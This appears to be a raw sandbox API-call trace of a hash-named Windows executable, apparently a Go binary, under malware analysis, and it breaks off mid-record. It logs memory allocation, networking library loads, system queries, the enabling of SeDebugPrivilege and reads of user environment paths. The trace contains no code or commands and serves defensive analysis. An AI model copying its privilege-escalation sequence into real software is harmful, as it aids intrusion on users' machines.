dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003c000 [0106.669] VirtualAlloc (lpAddress=0xc00003e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003e000 [0106.885] malloc (_Size=0x18) returned 0x4a5ae0 [0106.885] _beginthread (_StartAddress=0x13fe795d0, _StackSize=0x0, _ArgList=0x4a5ae0) returned 0x90 [0106.999] malloc (_Size=0x18) returned 0x4a5b00 [0106.999] _beginthread (_StartAddress=0x13fe795d0, _StackSize=0x0, _ArgList=0x4a5b00) returned 0x94 [0107.087] VirtualAlloc (lpAddress=0xc000040000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000040000 [0107.089] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000 [0107.110] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000 [0107.111] malloc (_Size=0x18) returned 0x4a5ae0 [0107.111] _beginthread (_StartAddress=0x13fe795d0, _StackSize=0x0, _ArgList=0x4a5ae0) returned 0x9c [0107.115] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa0 [0107.115] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0107.115] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0107.211] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000 [0107.264] malloc (_Size=0x18) returned 0x4a5ae0 [0107.264] _beginthread (_StartAddress=0x13fe795d0, _StackSize=0x0, _ArgList=0x4a5ae0) returned 0xc4 [0107.311] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xd4 [0107.311] SetEvent (hEvent=0xd4) returned 1 [0107.411] SetEvent (hEvent=0xcc) returned 1 [0107.411] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0107.442] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000 [0107.443] VirtualAlloc (lpAddress=0xc00008a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008a000 [0107.444] VirtualAlloc (lpAddress=0xc00008c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008c000 [0107.444] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000 [0107.499] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000 [0107.639] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000 [0107.640] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000 [0107.673] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000 [0107.746] SetEvent (hEvent=0xcc) returned 1 [0107.746] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0107.747] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000 [0107.748] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000 [0107.769] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000 [0108.075] SetEvent (hEvent=0xcc) returned 1 [0108.075] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0108.118] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000 [0108.140] VirtualAlloc (lpAddress=0xc0000a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a2000 [0108.162] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000 [0108.163] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000 [0108.313] SetEvent (hEvent=0xcc) returned 1 [0108.314] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0108.737] SetEvent (hEvent=0xcc) returned 1 [0108.737] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0108.851] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000 [0108.989] SetEvent (hEvent=0xcc) returned 1 [0108.989] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0109.014] VirtualAlloc (lpAddress=0xc0000aa000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000aa000 [0109.222] SetEvent (hEvent=0xcc) returned 1 [0109.222] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0109.555] SetEvent (hEvent=0xcc) returned 1 [0109.555] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0109.667] VirtualAlloc (lpAddress=0xc0000b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b2000 [0110.260] SetEvent (hEvent=0xcc) returned 1 [0110.281] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0110.718] SetEvent (hEvent=0xcc) returned 1 [0110.718] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0110.909] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x77660000 [0110.939] SetEvent (hEvent=0xcc) returned 1 [0110.939] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0111.048] GetProcAddress (hModule=0x77660000, lpProcName="GetStdHandle") returned 0x7767cb80 [0111.050] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0111.051] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.080] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0111.181] SetEvent (hEvent=0xcc) returned 1 [0111.181] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0111.549] VirtualAlloc (lpAddress=0xc0000b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b4000 [0111.571] SetEvent (hEvent=0xcc) returned 1 [0111.571] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0111.572] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemDirectoryW") returned 0x776765c0 [0111.572] GetSystemDirectoryW (in: lpBuffer=0xc0000b4000, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0111.878] SetEvent (hEvent=0xcc) returned 1 [0111.879] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0111.900] VirtualAlloc (lpAddress=0xc0000b6000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b6000 [0112.204] SetEvent (hEvent=0xcc) returned 1 [0112.204] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0112.455] SetEvent (hEvent=0xcc) returned 1 [0112.455] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0112.677] SetEvent (hEvent=0xcc) returned 1 [0112.677] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0112.721] VirtualAlloc (lpAddress=0xc0000c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c4000 [0112.723] VirtualAlloc (lpAddress=0xc0000c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c6000 [0112.873] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feffa10000 [0112.877] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSAStartup") returned 0x7feffa14980 [0112.879] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc0000b1778 | out: lpWSAData=0xc0000b1778) returned 0 [0113.035] SetEvent (hEvent=0xe8) returned 1 [0113.060] VirtualAlloc (lpAddress=0xc0000c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c8000 [0113.195] SetEvent (hEvent=0xcc) returned 1 [0113.196] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0113.197] GetProcAddress (hModule=0x77660000, lpProcName="SetFileCompletionNotificationModes") returned 0x776b08b0 [0113.218] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSAEnumProtocolsW") returned 0x7feffa38af0 [0113.219] WSAEnumProtocolsW (in: lpiProtocols=0xc0000ca8d0, lpProtocolBuffer=0xc0000ca8d8, lpdwBufferLength=0xc0000ca8cc | out: lpProtocolBuffer=0xc0000ca8d8, lpdwBufferLength=0xc0000ca8cc) returned 4 [0113.388] GetProcAddress (hModule=0x77660000, lpProcName="GetConsoleMode") returned 0x77681840 [0113.389] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0xc0000cf904 | out: lpMode=0xc0000cf904) returned 1 [0113.458] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1d10000 [0113.459] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000 [0113.460] SetEvent (hEvent=0xcc) returned 1 [0113.460] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0113.462] GetProcAddress (hModule=0x77660000, lpProcName="GetFileType") returned 0x776817e0 [0113.462] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000 [0113.462] GetFileType (hFile=0x3) returned 0x2 [0113.465] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000 [0113.466] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000 [0113.467] VirtualAlloc (lpAddress=0xc000108000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000108000 [0113.728] SetEvent (hEvent=0xcc) returned 1 [0113.773] SetEvent (hEvent=0xbc) returned 1 [0113.773] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0113.774] VirtualAlloc (lpAddress=0xc00010a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010a000 [0113.775] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xc0000cf904 | out: lpMode=0xc0000cf904) returned 1 [0113.776] GetFileType (hFile=0x7) returned 0x2 [0113.778] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xc0000cf904 | out: lpMode=0xc0000cf904) returned 1 [0113.779] GetFileType (hFile=0xb) returned 0x2 [0113.801] VirtualAlloc (lpAddress=0xc00010c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010c000 [0113.802] VirtualAlloc (lpAddress=0xc00010e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010e000 [0113.803] VirtualAlloc (lpAddress=0xc000110000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000110000 [0113.824] GetProcAddress (hModule=0x77660000, lpProcName="GetCommandLineW") returned 0x7767b8b0 [0113.824] GetCommandLineW () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\83741e7578d11053fd5cbbf15ed253b3.exe\" " [0113.824] VirtualAlloc (lpAddress=0xc000112000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000112000 [0113.824] VirtualAlloc (lpAddress=0xc000114000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000114000 [0113.890] SetEvent (hEvent=0xbc) returned 1 [0113.890] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0113.891] VirtualAlloc (lpAddress=0xc000116000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000116000 [0113.954] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000 [0114.054] VirtualAlloc (lpAddress=0xc00011a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011a000 [0114.225] SetEvent (hEvent=0xbc) returned 1 [0114.225] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0114.226] VirtualAlloc (lpAddress=0xc00011c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011c000 [0114.917] SetEvent (hEvent=0xbc) returned 1 [0114.938] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0115.343] SetEvent (hEvent=0xbc) returned 1 [0115.343] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0115.650] VirtualAlloc (lpAddress=0xc00011e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011e000 [0115.674] SetEvent (hEvent=0xbc) returned 1 [0115.674] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0115.697] VirtualAlloc (lpAddress=0xc000120000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000120000 [0115.886] VirtualAlloc (lpAddress=0xc000124000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000124000 [0115.995] SetEvent (hEvent=0xbc) returned 1 [0115.995] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0116.337] SetEvent (hEvent=0xbc) returned 1 [0116.337] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0116.400] VirtualAlloc (lpAddress=0xc000126000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000126000 [0116.607] VirtualAlloc (lpAddress=0xc000128000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000128000 [0116.673] SetEvent (hEvent=0xbc) returned 1 [0116.673] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0116.970] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000 [0117.013] SetEvent (hEvent=0xbc) returned 1 [0117.016] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0117.191] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000 [0117.297] VirtualAlloc (lpAddress=0xc00012e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012e000 [0117.345] SetEvent (hEvent=0xbc) returned 1 [0117.346] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0117.679] SetEvent (hEvent=0xbc) returned 1 [0117.679] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0117.900] SetEvent (hEvent=0xbc) returned 1 [0117.900] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0118.081] VirtualAlloc (lpAddress=0xc000130000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000130000 [0118.084] VirtualAlloc (lpAddress=0xc000132000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000132000 [0118.141] SetEvent (hEvent=0xbc) returned 1 [0118.142] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0118.332] VirtualAlloc (lpAddress=0xc000134000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000134000 [0118.418] VirtualAlloc (lpAddress=0xc000136000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000136000 [0118.464] SetEvent (hEvent=0xbc) returned 1 [0118.464] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0118.539] GetProcAddress (hModule=0x77660000, lpProcName="GetEnvironmentVariableW") returned 0x77678550 [0118.577] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc000136000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0118.803] SetEvent (hEvent=0xbc) returned 1 [0118.803] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0119.234] SetEvent (hEvent=0xbc) returned 1 [0119.234] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0119.423] VirtualAlloc (lpAddress=0xc000138000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000138000 [0119.468] VirtualAlloc (lpAddress=0xc00013a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013a000 [0119.468] VirtualAlloc (lpAddress=0xc00013c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013c000 [0119.469] VirtualAlloc (lpAddress=0xc00013e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013e000 [0119.491] VirtualAlloc (lpAddress=0xc000140000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000140000 [0119.519] VirtualAlloc (lpAddress=0xc000144000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000144000 [0119.572] SetEvent (hEvent=0xbc) returned 1 [0119.572] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0119.782] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000 [0119.904] SetEvent (hEvent=0xbc) returned 1 [0119.904] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0119.905] VirtualAlloc (lpAddress=0xc000146000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000146000 [0119.906] VirtualAlloc (lpAddress=0xc000148000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000148000 [0120.098] VirtualAlloc (lpAddress=0xc00014e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014e000 [0120.167] VirtualAlloc (lpAddress=0xc000152000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000152000 [0120.234] SetEvent (hEvent=0xbc) returned 1 [0120.234] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0120.345] VirtualAlloc (lpAddress=0xc000158000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000158000 [0120.564] SetEvent (hEvent=0xbc) returned 1 [0120.565] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0120.647] VirtualAlloc (lpAddress=0xc00015a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015a000 [0120.647] VirtualAlloc (lpAddress=0xc00015c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015c000 [0120.668] VirtualAlloc (lpAddress=0xc00015e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015e000 [0120.758] VirtualAlloc (lpAddress=0xc000160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000160000 [0120.758] GetEnvironmentVariableW (in: lpName="DEBUG_HTTP2_GOROUTINES", lpBuffer=0xc0001360d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0120.995] SetEvent (hEvent=0xbc) returned 1 [0120.995] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0121.411] SetEvent (hEvent=0xbc) returned 1 [0121.411] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0121.731] VirtualAlloc (lpAddress=0xc000162000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000162000 [0121.888] SetEvent (hEvent=0xbc) returned 1 [0121.889] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0122.071] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0001361a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0122.304] SetEvent (hEvent=0xbc) returned 1 [0122.304] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0123.122] SetEvent (hEvent=0xbc) returned 1 [0123.151] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0123.608] SetEvent (hEvent=0xbc) returned 1 [0123.609] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0123.843] SetEvent (hEvent=0xbc) returned 1 [0123.843] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0124.187] VirtualAlloc (lpAddress=0xc000164000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000164000 [0124.208] SetEvent (hEvent=0xbc) returned 1 [0124.208] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0124.407] SetEvent (hEvent=0xbc) returned 1 [0124.407] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0124.634] SetEvent (hEvent=0xbc) returned 1 [0124.634] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0124.985] SetEvent (hEvent=0xbc) returned 1 [0124.985] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0125.132] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77660000 [0125.211] SetEvent (hEvent=0xbc) returned 1 [0125.211] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0125.233] GetProcAddress (hModule=0x77660000, lpProcName="GetStdHandle") returned 0x7767cb80 [0125.233] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0125.234] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.234] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0125.275] VirtualAlloc (lpAddress=0xc000166000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000166000 [0125.468] SetEvent (hEvent=0xbc) returned 1 [0125.468] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0125.530] VirtualAlloc (lpAddress=0xc000168000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000168000 [0125.815] VirtualAlloc (lpAddress=0xc00016a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016a000 [0125.837] VirtualAlloc (lpAddress=0xc00016c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016c000 [0125.902] SetEvent (hEvent=0xbc) returned 1 [0125.902] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0126.001] VirtualAlloc (lpAddress=0xc00016e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016e000 [0126.225] SetEvent (hEvent=0xbc) returned 1 [0126.225] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0126.456] VirtualAlloc (lpAddress=0xc000170000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000170000 [0126.534] SetEvent (hEvent=0xbc) returned 1 [0126.534] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0126.672] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77660000 [0126.672] GetProcAddress (hModule=0x77660000, lpProcName="GetSystemTimes") returned 0x77667fb0 [0126.672] GetSystemTimes (in: lpIdleTime=0xc000168d58, lpKernelTime=0xc000168d90, lpUserTime=0xc000168d98 | out: lpIdleTime=0xc000168d58, lpKernelTime=0xc000168d90, lpUserTime=0xc000168d98) returned 1 [0126.738] VirtualAlloc (lpAddress=0xc0001a0000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a0000 [0126.764] SetEvent (hEvent=0xbc) returned 1 [0126.765] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0126.766] GetProcAddress (hModule=0x77660000, lpProcName="AddDllDirectory") returned 0x7fefd945478 [0126.768] GetProcAddress (hModule=0x77660000, lpProcName="LoadLibraryExW") returned 0x77675ae0 [0126.768] LoadLibraryExW (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x77880000 [0126.770] GetProcAddress (hModule=0x77880000, lpProcName="NtQuerySystemInformation") returned 0x778d1670 [0126.771] NtQuerySystemInformation (in: SystemInformationClass=0x8, SystemInformation=0xc0001a0000, Length=0x18180, ResultLength=0xc000168dcc | out: SystemInformation=0xc0001a0000, ResultLength=0xc000168dcc*=0x6e72656b000000c0) returned 0x0 [0126.839] VirtualAlloc (lpAddress=0xc000172000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000172000 [0127.007] VirtualAlloc (lpAddress=0xc000174000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000174000 [0127.008] VirtualAlloc (lpAddress=0xc000176000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000176000 [0127.078] VirtualAlloc (lpAddress=0xc000178000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000178000 [0127.101] SetEvent (hEvent=0xbc) returned 1 [0127.101] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0127.163] VirtualAlloc (lpAddress=0xc00017a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017a000 [0127.194] GetProcAddress (hModule=0x77660000, lpProcName="GetNativeSystemInfo") returned 0x7766ac80 [0127.194] GetNativeSystemInfo (in: lpSystemInfo=0xc0001177d0 | out: lpSystemInfo=0xc0001177d0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0127.237] GetProcAddress (hModule=0x77660000, lpProcName="GetCurrentProcess") returned 0x77675190 [0127.238] GetCurrentProcess () returned 0xffffffffffffffff [0127.294] VirtualAlloc (lpAddress=0xc00017c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017c000 [0127.295] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feff870000 [0127.295] GetProcAddress (hModule=0x7feff870000, lpProcName="OpenProcessToken") returned 0x7feff88bd70 [0127.296] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xc00019fd00 | out: TokenHandle=0xc00019fd00*=0x100) returned 1 [0127.318] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7feff870000 [0127.318] GetProcAddress (hModule=0x7feff870000, lpProcName="LookupPrivilegeValueW") returned 0x7feff88b9e0 [0127.318] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xc000168f94 | out: lpLuid=0xc000168f94*(LowPart=0x14, HighPart=0)) returned 1 [0127.466] SetEvent (hEvent=0xe8) returned 1 [0127.467] GetProcAddress (hModule=0x7feff870000, lpProcName="AdjustTokenPrivileges") returned 0x7feff88b9b0 [0127.467] AdjustTokenPrivileges (in: TokenHandle=0x100, DisableAllPrivileges=0, NewState=0xc000168f90*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0127.488] GetProcAddress (hModule=0x77660000, lpProcName="CloseHandle") returned 0x77681960 [0127.488] CloseHandle (hObject=0x100) returned 1 [0127.608] SetEvent (hEvent=0xbc) returned 1 [0127.608] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0127.684] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc000136270, nSize=0x64 | out: lpBuffer="") returned 0x24 [0127.730] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136340, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.730] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000136410, nSize=0x64 | out: lpBuffer="") returned 0x12 [0127.751] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001364e0, nSize=0x64 | out: 